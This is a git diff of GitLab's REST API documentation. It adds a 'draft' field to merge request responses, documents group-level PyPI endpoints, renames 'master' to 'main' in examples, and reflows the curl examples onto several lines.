diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md
index c4cb7753fc9..57754f62d5a 100644
--- a/doc/api/merge_requests.md
+++ b/doc/api/merge_requests.md
@@ -16,6 +16,7 @@ type: reference, api
> - `with_merge_status_recheck` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31890) in GitLab 13.0.
> - `reviewer_username` and `reviewer_id` were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8.
> - `reviewer_ids` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51186) in GitLab 13.8.
+> - `draft` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63473) as an eventual replacement for `work_in_progress` in GitLab 14.0
Every API call to merge requests must be authenticated.
@@ -174,6 +175,7 @@ Parameters:
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -357,6 +359,7 @@ Parameters:
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -405,6 +408,16 @@ Parameters:
]
```
+The `merge_status` field may hold one of the following values:
+
+| Value | Interpretation |
+|----------------------------|-----------------------------------------------------------------------|
+| `unchecked` | We have not checked this yet |
+| `checking` | We are currently checking if the merge request can be merged |
+| `can_be_merged` | This merge request can be merged without conflict |
+| `cannot_be_merged` | There are merge conflicts between the source and target branches |
+| `cannot_be_merged_recheck` | Currently unchecked. Before the current changes, there were conflicts |
+
Users on GitLab Premium or higher also see
the `approvals_before_merge` parameter:
@@ -532,6 +545,7 @@ Parameters:
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -670,6 +684,7 @@ Parameters:
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -902,6 +917,7 @@ Parameters:
"target_project_id": 4,
"labels": [ ],
"description": "Qui voluptatibus placeat ipsa alias quasi. Deleniti rem ut sint. Optio velit qui distinctio.",
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -1112,6 +1128,7 @@ POST /projects/:id/merge_requests
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -1282,6 +1299,7 @@ Must include at least one non-required attribute from above.
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -1467,6 +1485,7 @@ Parameters:
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -1655,6 +1674,7 @@ Parameters:
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -1956,6 +1976,7 @@ Example response:
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -2115,6 +2136,7 @@ Example response:
"Community contribution",
"Manage"
],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 5,
@@ -2291,6 +2313,7 @@ Example response:
"source_project_id": 3,
"target_project_id": 3,
"labels": [],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 27,
diff --git a/doc/api/merge_trains.md b/doc/api/merge_trains.md
index 9fc17930c92..f74f7785d30 100644
--- a/doc/api/merge_trains.md
+++ b/doc/api/merge_trains.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/api/notification_settings.md b/doc/api/notification_settings.md
index 298c0ead8c1..69bed193f07 100644
--- a/doc/api/notification_settings.md
+++ b/doc/api/notification_settings.md
@@ -123,7 +123,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The group/project ID or path |
+| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](README.md#namespaced-path-encoding). |
Example response:
@@ -149,7 +149,7 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The group/project ID or path |
+| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](README.md#namespaced-path-encoding) |
| `level` | string | no | The global notification level |
| `new_note` | boolean | no | Enable/disable this notification |
| `new_issue` | boolean | no | Enable/disable this notification |
diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md
index 61eaf0f36d7..f5c75aac0d9 100644
--- a/doc/api/oauth2.md
+++ b/doc/api/oauth2.md
@@ -284,7 +284,8 @@ HTTP Basic Authentication with the application's `client_id` and `client_secret`
```shell
echo 'grant_type=password&username=<your_username>&password=<your_password>' > auth.txt
-curl --data "@auth.txt" --user client_id:client_secret --request POST "https://gitlab.example.com/oauth/token"
+curl --data "@auth.txt" --user client_id:client_secret \
+ --request POST "https://gitlab.example.com/oauth/token"
```
Then, you receive a response containing the access token:
diff --git a/doc/api/packages/composer.md b/doc/api/packages/composer.md
index ebf3ffba92f..4f8e0a23c9c 100644
--- a/doc/api/packages/composer.md
+++ b/doc/api/packages/composer.md
@@ -71,7 +71,7 @@ Example response:
## V1 packages list
-Given the V1 provider sha, returns a list of packages within the repository. Using Composer V2 is
+Given the V1 provider SHA, returns a list of packages in the repository. Using Composer V2 is
recommended over V1.
```plaintext
@@ -81,7 +81,7 @@ GET group/:id/-/packages/composer/p/:sha
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
| `id` | string | yes | The ID or full path of the group. |
-| `sha` | string | yes | The provider sha, provided by the Composer [base request](#base-repository-request). |
+| `sha` | string | yes | The provider SHA, provided by the Composer [base request](#base-repository-request). |
```shell
curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/p/082df4a5035f8725a12i4a3d2da5e6aaa966d06843d0a5c6d499313810427bd6"
@@ -115,7 +115,7 @@ the symbol `%24` (see example below).
| -------------- | ------ | -------- | ----------- |
| `id` | string | yes | The ID or full path of the group. |
| `package_name` | string | yes | The name of the package. |
-| `sha` | string | yes | The sha digest of the package, provided by the [V1 packages list](#v1-packages-list). |
+| `sha` | string | yes | The SHA digest of the package, provided by the [V1 packages list](#v1-packages-list). |
```shell
curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/group/1/-/packages/composer/my-org/my-composer-package%245c873497cdaa82eda35af5de24b789be92dfb6510baf117c42f03899c166b6e7"
@@ -247,7 +247,8 @@ POST projects/:id/packages/composer
| `branch` | string | no | The name of the branch to target for the package. |
```shell
-curl --request POST --user <username>:<personal_access_token> --data tag=v1.0.0 "https://gitlab.example.com/api/v4/projects/1/packages/composer"
+curl --request POST --user <username>:<personal_access_token> \
+ --data tag=v1.0.0 "https://gitlab.example.com/api/v4/projects/1/packages/composer"
```
Example response:
@@ -272,7 +273,7 @@ GET projects/:id/packages/composer/archives/:package_name
| -------------- | ------ | -------- | ----------- |
| `id` | string | yes | The ID or full path of the group. |
| `package_name` | string | yes | The name of the package. |
-| `sha` | string | yes | The target sha of the requested package version. |
+| `sha` | string | yes | The target SHA of the requested package version. |
```shell
curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/composer/archives/my-org/my-composer-package.zip?sha=673594f85a55fe3c0eb45df7bd2fa9d95a1601ab"
diff --git a/doc/api/packages/nuget.md b/doc/api/packages/nuget.md
index ed61704770b..bbcb2cb9bc4 100644
--- a/doc/api/packages/nuget.md
+++ b/doc/api/packages/nuget.md
@@ -82,7 +82,7 @@ This writes the downloaded file to `MyNuGetPkg.1.3.0.17.nupkg` in the current di
> Introduced in GitLab 12.8.
-Download a NuGet package file:
+Upload a NuGet package file:
```plaintext
PUT projects/:id/packages/nuget
diff --git a/doc/api/packages/pypi.md b/doc/api/packages/pypi.md
index 531193e59e2..77ba028c447 100644
--- a/doc/api/packages/pypi.md
+++ b/doc/api/packages/pypi.md
@@ -20,11 +20,82 @@ These endpoints do not adhere to the standard API authentication methods.
See the [PyPI package registry documentation](../../user/packages/pypi_repository/index.md)
for details on which headers and token types are supported.
-## Download a package file
+## Download a package file from a group
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225545) in GitLab 13.12.
+
+Download a PyPI package file. The [simple API](#group-level-simple-api-entry-point)
+normally supplies this URL.
+
+```plaintext
+GET groups/:id/packages/pypi/files/:sha256/:file_identifier
+```
+
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the group. |
+| `sha256` | string | yes | The PyPI package file's sha256 checksum. |
+| `file_identifier` | string | yes | The PyPI package file's name. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/groups/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1.tar.gz"
+```
+
+To write the output to a file:
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/groups/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1.tar.gz" >> my.pypi.package-0.0.1.tar.gz
+```
+
+This writes the downloaded file to `my.pypi.package-0.0.1.tar.gz` in the current directory.
+
+## Group level simple API entry point
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225545) in GitLab 13.12.
+
+Returns the package descriptor as an HTML file:
+
+```plaintext
+GET groups/:id/packages/pypi/simple/:package_name
+```
+
+| Attribute | Type | Required | Description |
+| -------------- | ------ | -------- | ----------- |
+| `id` | string | yes | The ID or full path of the group. |
+| `package_name` | string | yes | The name of the package. |
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/groups/1/packages/pypi/simple/my.pypi.package"
+```
+
+Example response:
+
+```html
+<!DOCTYPE html>
+<html>
+ <head>
+ <title>Links for my.pypi.package</title>
+ </head>
+ <body>
+ <h1>Links for my.pypi.package</h1>
+ <a href="https://gitlab.example.com/api/v4/groups/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1-py3-none-any.whl#sha256=5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff" data-requires-python="&gt;=3.6">my.pypi.package-0.0.1-py3-none-any.whl</a><br><a href="https://gitlab.example.com/api/v4/groups/1/packages/pypi/files/9s9w01b0bcd52b709ec052084e33a5517ffca96f7728ddd9f8866a30cdf76f2/my.pypi.package-0.0.1.tar.gz#sha256=9s9w011b0bcd52b709ec052084e33a5517ffca96f7728ddd9f8866a30cdf76f2" data-requires-python="&gt;=3.6">my.pypi.package-0.0.1.tar.gz</a><br>
+ </body>
+</html>
+```
+
+To write the output to a file:
+
+```shell
+curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/groups/1/packages/pypi/simple/my.pypi.package" >> simple.html
+```
+
+This writes the downloaded file to `simple.html` in the current directory.
+
+## Download a package file from a project
> Introduced in GitLab 12.10.
-Download a PyPI package file. The [simple API](#simple-api-entry-point)
+Download a PyPI package file. The [simple API](#project-level-simple-api-entry-point)
normally supplies this URL.
```plaintext
@@ -49,7 +120,7 @@ curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v
This writes the downloaded file to `my.pypi.package-0.0.1.tar.gz` in the current directory.
-## Simple API entry point
+## Project-level simple API entry point
> Introduced in GitLab 12.10.
diff --git a/doc/api/pages_domains.md b/doc/api/pages_domains.md
index f9bb8521a1f..fbea365e3d5 100644
--- a/doc/api/pages_domains.md
+++ b/doc/api/pages_domains.md
@@ -134,19 +134,24 @@ POST /projects/:id/pages/domains
Create a new Pages domain with a certificate from a `.pem` file:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "certificate=@/path/to/cert.pem" --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "domain=ssl.domain.example" --form "certificate=@/path/to/cert.pem" \
+ --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
```
Create a new Pages domain by using a variable containing the certificate:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "certificate=$CERT_PEM" --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "domain=ssl.domain.example" --form "certificate=$CERT_PEM" \
+ --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
```
Create a new Pages domain with an [automatic certificate](../user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md#enabling-lets-encrypt-integration-for-your-custom-domain):
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "domain=ssl.domain.example" \
+ --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains"
```
```json
@@ -184,13 +189,15 @@ PUT /projects/:id/pages/domains/:domain
Add a certificate for a Pages domain from a `.pem` file:
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=@/path/to/cert.pem" --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=@/path/to/cert.pem" \
+ --form "key=@/path/to/key.pem" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
```
Add a certificate for a Pages domain by using a variable containing the certificate:
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=$CERT_PEM" --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=$CERT_PEM" \
+ --form "key=$KEY_PEM" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
```
```json
@@ -210,7 +217,8 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certifi
### Enabling Let's Encrypt integration for Pages custom domains
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "auto_ssl_enabled=true" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
```
```json
@@ -226,7 +234,8 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "auto_ss
To remove the SSL certificate attached to the Pages domain, run:
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=" --form "key=" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "certificate=" \
+ --form "key=" "https://gitlab.example.com/api/v4/projects/5/pages/domains/ssl.domain.example"
```
```json
diff --git a/doc/api/pipeline_schedules.md b/doc/api/pipeline_schedules.md
index 6b3b6f4f36b..afb5d434fe7 100644
--- a/doc/api/pipeline_schedules.md
+++ b/doc/api/pipeline_schedules.md
@@ -1,10 +1,10 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Pipeline schedules API
+# Pipeline schedules API **(FREE)**
You can read more about [pipeline schedules](../ci/pipelines/schedules.md).
@@ -30,7 +30,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
{
"id": 13,
"description": "Test schedule pipeline",
- "ref": "master",
+ "ref": "main",
"cron": "* * * * *",
"cron_timezone": "Asia/Tokyo",
"next_run_at": "2017-05-19T13:41:00.000Z",
@@ -70,7 +70,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
{
"id": 13,
"description": "Test schedule pipeline",
- "ref": "master",
+ "ref": "main",
"cron": "* * * * *",
"cron_timezone": "Asia/Tokyo",
"next_run_at": "2017-05-19T13:41:00.000Z",
@@ -80,7 +80,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
"last_pipeline": {
"id": 332,
"sha": "0e788619d0b5ec17388dffb973ecd505946156db",
- "ref": "master",
+ "ref": "main",
"status": "pending"
},
"owner": {
@@ -119,14 +119,16 @@ POST /projects/:id/pipeline_schedules
| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated (default: `true`). |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form description="Build packages" --form ref="master" --form cron="0 1 * * 5" --form cron_timezone="UTC" --form active="true" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form description="Build packages" --form ref="main" --form cron="0 1 * * 5" --form cron_timezone="UTC" \
+ --form active="true" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules"
```
```json
{
"id": 14,
"description": "Build packages",
- "ref": "master",
+ "ref": "main",
"cron": "0 1 * * 5",
"cron_timezone": "UTC",
"next_run_at": "2017-05-26T01:00:00.000Z",
@@ -164,14 +166,15 @@ PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id
| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated. |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form cron="0 2 * * *" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form cron="0 2 * * *" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13"
```
```json
{
"id": 13,
"description": "Test schedule pipeline",
- "ref": "master",
+ "ref": "main",
"cron": "0 2 * * *",
"cron_timezone": "Asia/Tokyo",
"next_run_at": "2017-05-19T17:00:00.000Z",
@@ -181,7 +184,7 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form cron="0
"last_pipeline": {
"id": 332,
"sha": "0e788619d0b5ec17388dffb973ecd505946156db",
- "ref": "master",
+ "ref": "main",
"status": "pending"
},
"owner": {
@@ -216,7 +219,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
{
"id": 13,
"description": "Test schedule pipeline",
- "ref": "master",
+ "ref": "main",
"cron": "0 2 * * *",
"cron_timezone": "Asia/Tokyo",
"next_run_at": "2017-05-19T17:00:00.000Z",
@@ -226,7 +229,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
"last_pipeline": {
"id": 332,
"sha": "0e788619d0b5ec17388dffb973ecd505946156db",
- "ref": "master",
+ "ref": "main",
"status": "pending"
},
"owner": {
@@ -261,7 +264,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
{
"id": 13,
"description": "Test schedule pipeline",
- "ref": "master",
+ "ref": "main",
"cron": "0 2 * * *",
"cron_timezone": "Asia/Tokyo",
"next_run_at": "2017-05-19T17:00:00.000Z",
@@ -271,7 +274,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
"last_pipeline": {
"id": 332,
"sha": "0e788619d0b5ec17388dffb973ecd505946156db",
- "ref": "master",
+ "ref": "main",
"status": "pending"
},
"owner": {
@@ -317,8 +320,6 @@ Example response:
## Pipeline schedule variables
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/34518) in GitLab 10.0.
-
## Create a new pipeline schedule variable
Create a new variable of a pipeline schedule.
@@ -336,7 +337,8 @@ POST /projects/:id/pipeline_schedules/:pipeline_schedule_id/variables
| `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "key=NEW_VARIABLE" --form "value=new value" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13/variables"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "key=NEW_VARIABLE" \
+ --form "value=new value" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13/variables"
```
```json
@@ -364,7 +366,9 @@ PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id/variables/:key
| `variable_type` | string | no | The type of a variable. Available types are: `env_var` (default) and `file` |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "value=updated value" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13/variables/NEW_VARIABLE"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "value=updated value" \
+ "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13/variables/NEW_VARIABLE"
```
```json
diff --git a/doc/api/pipeline_triggers.md b/doc/api/pipeline_triggers.md
index ea10b14bc2e..94122a40b2d 100644
--- a/doc/api/pipeline_triggers.md
+++ b/doc/api/pipeline_triggers.md
@@ -1,10 +1,10 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Pipeline triggers API
+# Pipeline triggers API **(FREE)**
You can read more about [triggering pipelines through the API](../ci/triggers/README.md).
@@ -81,7 +81,8 @@ POST /projects/:id/triggers
| `description` | string | yes | The trigger name |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form description="my description" "https://gitlab.example.com/api/v4/projects/1/triggers"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form description="my description" "https://gitlab.example.com/api/v4/projects/1/triggers"
```
```json
@@ -111,7 +112,8 @@ PUT /projects/:id/triggers/:trigger_id
| `description` | string | no | The trigger name |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form description="my description" "https://gitlab.example.com/api/v4/projects/1/triggers/10"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form description="my description" "https://gitlab.example.com/api/v4/projects/1/triggers/10"
```
```json
diff --git a/doc/api/pipelines.md b/doc/api/pipelines.md
index 497c70b19ba..57c356ccf29 100644
--- a/doc/api/pipelines.md
+++ b/doc/api/pipelines.md
@@ -1,10 +1,10 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Pipelines API
+# Pipelines API **(FREE)**
## Single Pipeline Requests
@@ -23,8 +23,6 @@ Read more on [pagination](README.md#pagination).
## List project pipelines
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5837) in GitLab 8.11
-
```plaintext
GET /projects/:id/pipelines
```
@@ -77,8 +75,6 @@ Example of response
## Get a single pipeline
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5837) in GitLab 8.11
-
```plaintext
GET /projects/:id/pipelines/:pipeline_id
```
@@ -99,7 +95,7 @@ Example of response
"id": 46,
"project_id": 1,
"status": "success",
- "ref": "master",
+ "ref": "main",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"before_sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"tag": false,
@@ -213,8 +209,6 @@ Sample response:
## Create a new pipeline
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7209) in GitLab 8.14
-
```plaintext
POST /projects/:id/pipeline
```
@@ -226,7 +220,7 @@ POST /projects/:id/pipeline
| `variables` | array | no | An array containing the variables available in the pipeline, matching the structure `[{ 'key': 'UPLOAD_TO_S3', 'variable_type': 'file', 'value': 'true' }]` |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/pipeline?ref=master"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/pipeline?ref=main"
```
Example of response
@@ -236,7 +230,7 @@ Example of response
"id": 61,
"project_id": 1,
"sha": "384c444e840a515b23f21915ee5766b87068a70d",
- "ref": "master",
+ "ref": "main",
"status": "pending",
"before_sha": "0000000000000000000000000000000000000000",
"tag": false,
@@ -263,8 +257,6 @@ Example of response
## Retry jobs in a pipeline
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5837) in GitLab 8.11
-
```plaintext
POST /projects/:id/pipelines/:pipeline_id/retry
```
@@ -285,7 +277,7 @@ Response:
"id": 46,
"project_id": 1,
"status": "pending",
- "ref": "master",
+ "ref": "main",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"before_sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"tag": false,
@@ -312,8 +304,6 @@ Response:
## Cancel a pipeline's jobs
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5837) in GitLab 8.11
-
```plaintext
POST /projects/:id/pipelines/:pipeline_id/cancel
```
@@ -334,7 +324,7 @@ Response:
"id": 46,
"project_id": 1,
"status": "canceled",
- "ref": "master",
+ "ref": "main",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"before_sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"tag": false,
diff --git a/doc/api/project_aliases.md b/doc/api/project_aliases.md
index 439f34ad93b..1638bb644c2 100644
--- a/doc/api/project_aliases.md
+++ b/doc/api/project_aliases.md
@@ -68,8 +68,8 @@ Example response:
## Create a project alias
-Add a new alias for a project. Responds with a 201 when successful,
-400 when there are validation errors (e.g. alias already exists):
+Add a new alias for a project. When successful, responds with `201 Created`.
+When there are validation errors, for example, when the alias already exists, responds with `400 Bad Request`:
```plaintext
POST /project_aliases
@@ -81,13 +81,15 @@ POST /project_aliases
| `name` | string | yes | The name of the alias. Must be unique. |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/project_aliases" --form "project_id=1" --form "name=gitlab"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/project_aliases" --form "project_id=1" --form "name=gitlab"
```
or
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/project_aliases" --form "project_id=gitlab-org/gitlab" --form "name=gitlab"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/project_aliases" --form "project_id=gitlab-org/gitlab" --form "name=gitlab"
```
Example response:
diff --git a/doc/api/project_badges.md b/doc/api/project_badges.md
index a17f7d15e76..c6bcaa1ae9c 100644
--- a/doc/api/project_badges.md
+++ b/doc/api/project_badges.md
@@ -109,7 +109,9 @@ POST /projects/:id/badges
| `name` | string | no | Name of the badge |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&name=mybadge" "https://gitlab.example.com/api/v4/projects/:id/badges"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&name=mybadge" \
+ "https://gitlab.example.com/api/v4/projects/:id/badges"
```
Example response:
diff --git a/doc/api/project_clusters.md b/doc/api/project_clusters.md
index a431e754774..f31b3ccd0bb 100644
--- a/doc/api/project_clusters.md
+++ b/doc/api/project_clusters.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23922) in GitLab 11.7.
-Users need at least [Maintainer](../user/permissions.md) access to use these endpoints.
+Users need at least the [Maintainer](../user/permissions.md) role to use these endpoints.
## List project clusters
@@ -22,7 +22,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | ----------------------------------------------------- |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
Example request:
@@ -92,7 +92,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ------------ | ------- | -------- | ----------------------------------------------------- |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
@@ -151,7 +151,8 @@ Example response:
"path_with_namespace":"root/project-with-clusters-api",
"created_at":"2019-01-02T20:13:32.600Z",
"default_branch":null,
- "tag_list":[],
+ "tag_list":[], //deprecated, use `topics` instead
+ "topics":[],
"ssh_url_to_repo":"ssh://gitlab.example.com/root/project-with-clusters-api.git",
"http_url_to_repo":"https://gitlab.example.com/root/project-with-clusters-api.git",
"web_url":"https://gitlab.example.com/root/project-with-clusters-api",
@@ -185,7 +186,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
